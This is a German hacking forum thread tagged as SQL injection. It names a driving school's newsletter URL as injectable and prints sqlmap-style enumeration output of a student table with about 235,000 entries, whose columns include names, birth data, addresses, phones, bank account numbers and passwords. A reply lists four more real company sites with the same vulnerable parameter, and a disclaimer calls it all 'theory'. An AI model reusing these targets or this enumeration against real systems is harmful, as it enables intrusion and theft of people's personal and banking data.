Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[SQLi] Team-raible.de

- - - - -

  • Bitte melde dich an um zu Antworten
Eine Antwort in diesem Thema

#1
hacked

hacked

    Hacker

  • Premium Member
  • Likes
    119
  • 186 Beiträge
  • 222 Bedankt
  • Android [root]
  • Linux
http://www.team-raible.de/newsletter.php?nlID=85

Interessant ist ggf. diese Table:

 

"[INFO] the SQL query used returns 235005 entries"

 

Database: cms_fsystem
Table: sys_fahrschueler
[90 columns]
+----------------------------+--------------+
| Column                     | Type         |
+----------------------------+--------------+
| abcID                      | int(11)      |
| allowDrivingBooking        | tinyint(1)   |
| anrede                     | tinyint(1)   |
| bestanden                  | tinyint(1)   |
| bkf                        | tinyint(1)   |
| cID                        | int(11)      |
| courseID                   | int(11)      |
| deleted                    | datetime     |
| empfohlen_durch            | int(11)      |
| facebookPosted             | tinyint(1)   |
| fahrschulID                | int(11)      |
| fcamp                      | tinyint(1)   |
| fcampCouponCode            | varchar(32)  |
| fcampFacebookPosted        | tinyint(1)   |
| feedback                   | tinyint(1)   |
| filialID                   | int(11)      |
| firstContactCamp           | tinyint(1)   |
| firstContactMCamp          | tinyint(1)   |
| gruende                    | tinyint(1)   |
| gutscheinCode              | varchar(8)   |
| gutscheinValue             | int(11)      |
| jmplEventID                | int(11)      |
| lastChange                 | timestamp    |
| Latitude                   | double       |
| Longitude                  | double       |
| mail_feedback              | date         |
| mailing                    | tinyint(1)   |
| massnahmeID                | int(11)      |
| mcamp                      | tinyint(1)   |
| mcampCouponCode            | varchar(32)  |
| mCourseID                  | int(11)      |
| newsletter                 | tinyint(1)   |
| reg_key                    | varchar(128) |
| reminder_feedback          | tinyint(1)   |
| reminder_potentiell        | tinyint(1)   |
| reminderFirstContactCamp   | tinyint(1)   |
| reminderFirstContactMCamp  | tinyint(1)   |
| schuelerAbgebrochen        | date         |
| schuelerAbsage             | date         |
| schuelerAnrede             | varchar(255) |
| schuelerBankBlz            | varchar(255) |
| schuelerBankKontoNr        | varchar(255) |
| schuelerBankName           | varchar(255) |
| schuelerBankOrt            | varchar(255) |
| schuelerBeratungDone       | tinyint(1)   |
| schuelerBeratungstermin    | datetime     |
| schuelerBestanden          | date         |
| schuelerBestandenGespraech | date         |
| schuelerBirthName          | varchar(255) |
| schuelerBirthPlace         | varchar(255) |
| schuelerCurrentLogin       | datetime     |
| schuelerEmail              | varchar(128) |
| schuelerErfasst            | date         |
| schuelerFile               | varchar(64)  |
| schuelerFile2              | varchar(64)  |
| schuelerFileShow           | int(11)      |
| schuelerGeb                | date         |
| schuelerGUID               | varchar(255) |
| schuelerHalfNumberSF       | tinyint(1)   |
| schuelerHandy              | varchar(128) |
| schuelerHausnummer         | varchar(8)   |
| schuelerID                 | int(11)      |
| schuelerInteresseA         | tinyint(1)   |
| schuelerInteresseBE        | tinyint(1)   |
| schuelerInteressent        | date         |
| schuelerLastLogin          | datetime     |
| schuelerNachfassen         | date         |
| schuelerName               | varchar(64)  |
| schuelerOrt                | varchar(128) |
| schuelerPass               | varchar(128) |
| schuelerPaymentDates       | text         |
| schuelerPaymentID          | int(11)      |
| schuelerPlz                | varchar(8)   |
| schuelerPotentiell         | date         |
| schuelerQuelle             | varchar(128) |
| schuelerSchnupperstundeA   | date         |
| schuelerSchnupperstundeBE  | date         |
| schuelerSendWelcomeLetter  | date         |
| schuelerStart              | date         |
| schuelerStatus             | tinyint(1)   |
| schuelerStrasse            | varchar(128) |
| schuelerTelefon            | varchar(255) |
| schuelerTheoBestanden      | date         |
| schuelerVorname            | varchar(64)  |
| seminarID                  | int(11)      |
| seminarPaid                | tinyint(1)   |
| send                       | tinyint(4)   |
| sendFeedback               | tinyint(1)   |
| teamID                     | int(11)      |
| theoBestanden              | tinyint(1)   |
+----------------------------+--------------+

 


Bearbeitet von hacked, 01 November 2015 - 14:20 Uhr.

  • lNobodyl gefällt das

#2
Ch!ller

Ch!ller

    Shinigami

  • SubMod
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    958
  • 896 Beiträge
  • 1386 Bedankt
  • Spender
  • verifiziert

http://www.tischmacher-gmbh.de/newsletter.php?nlID=93&userID=260
http://www.fahrschule-wiegert.de/newsletter.php?nlID=95&userID=84
http://www.fahrschule-sacher.de/newsletter.php?nlID=107&userID=242
http://www.conzept-fahrschule.de/newsletter.php?nlID=104&userID=378

  • hacked und lNobodyl gefällt das
Alle Angaben und Informationen dienen lediglich der Theorie!



  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 59 user(s)


    , <cerrno>, Arthurarsch, B1nary, Babo187, Backdoored, BayernFox, Bojka, Bot4ng, bumg2, Caruso, casamonica, cc54, Ch!ller, chick0n, chimchoca7, CyberFlash, DataBase, fAYe, ferithan, Framerater, frechdax, G0stF4CE, Gimpos, Goooofy, GoWest, hacked, Hydra, iggl, Injection, isi, izibitzi, jager52, L0KK0, lamaamala, lNobodyl, MarkSantos, Meikyo, mister-miyagi, nischke, Norky, notfound, Osed28, Phalanx, ponycrew, pornoralle, SavE1, Silent0wn3r, Slixer, superuser123, SYS64738, the.3nd, Thehidden, Toolbase, Traxx, umarex, weedneger, x4r4x, xFAUSTx
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.